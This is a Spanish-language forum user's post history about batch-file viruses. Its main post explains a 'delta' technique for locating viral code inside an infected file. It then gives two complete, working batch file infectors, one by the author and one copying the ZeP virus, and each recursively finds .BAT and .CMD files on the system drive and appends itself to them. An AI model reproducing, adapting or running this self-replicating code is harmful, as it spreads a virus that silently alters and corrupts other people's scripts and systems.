Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Binary_Death

#511
... Ahi esta posteada la creacion de modulos como el del segundo metodo, mas no el del primero xD
El primer codigo no tiene nada que ver con la idea de shadow, ya adverti que el segundo es el metodo que usaba el virus ZeP
Saludos.
#512
 :huh: no encontre nunca nada por la red =/
Me puedes pasar el link porfavor?  ;D

Saludos!
#513
Esto es algo que solo vi en un malware batch... ZeP, el archiconocido xD.
Primero veamos el objetivo.
Cuando infectamos con un bat otro bat, agregamos el codigo del primero al segundo... evidentemente. El problema surge al ejecutar el fichero infectado, cuando vamos a infectar otro fichero desde un fichero ya infectado copiamos todo el codigo del fichero en otro fichero... y nosotros queremos copiar solo el codigo virico. En resumen, necesitamos saber la posicion de nuestro malware en el fichero para copiar solo este y no todo el fichero en si.
ZeP usa una tecnica que yo considero ingeniosa. Todas las lineas de codigo tienen la palabra ZeP, y luego con un find localiza todas esas lineas, localiza ese codigo y lo añade.
En ensamblador pasa lo mismo, y la tecnica para calcular la posicion del malware se llama Delta Offset... asi que para no ponerle Delta Word en batch dejemoslo en Delta... xDD

::[H4AR45R849H]_start
@echo off
set "[0]=%~0"
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD"
call:delta&call:infect
exit /b
:infect
set "jmp="
if %delta% NEQ 0 (set "jmp=skip=%delta% ")
for /f "tokens=*" %%f in ('dir /b /s %find%') do (
FIND /i "[H4AR45R849H]"<"%%~f">nul
if errorlevel 1 (call:write "%%~f"))
GoTo:EoF
:write
ECHO.>>"%~1"
for /f "tokens=* %jmp%usebackq" %%w in ("%[0]%") do (
ECHO.%%w>>"%~1"
if /i "%%w"=="::[H4AR45R849H]_end" (GoTo:EoF))
GoTo:EoF
:delta
set "linepos=0"&set "delta=0"
for /f "tokens=* usebackq" %%x in ("%[0]%") do (
if "%%x"=="::[H4AR45R849H]_start" (call set delta=%%linepos%%&GoTo:EoF)
set /a linepos+=1)
GoTo:EoF
::[H4AR45R849H]_end


Esto es lo que estuve codeando estos dias...
Buscamos el numero de linea que señala el principio del codigo virico, asi luego con un for y skip nos posicionamos para inyectar codigo hasta que se detecte el final del codigo virico.

Y aqui dejo el método que usaba el virus ZeP:

@echo off %DeLtA%
set "find=%SystemDrive%\*.BAT %SystemDrive%\*.CMD" %DeLtA%
set "[0]=%~0" %DeLtA%
:infect %DeLtA%
for /f "tokens=*" %%f in ('dir /b /s %find%') do ( %DeLtA%
find "DeLtA"<%%f>nul %DeLtA%
if errorlevel 1 (call:write "%%~f")) %DeLtA%
GoTo:EoF %DeLtA%
:write %DeLtA%
ECHO.>>"%~1" %DeLtA%
find /i "DeLtA"<%[0]%>>"%~1" %DeLtA%
GoTo:EoF %DeLtA%


Para malwares largos no es conveniente... porque tiene que tener una palabra en cada linea xDDD y eso son bastantes bytes mas.


Y bueno, este es mi primer post en este foro, espero que sea de utilidad :P

Saludos!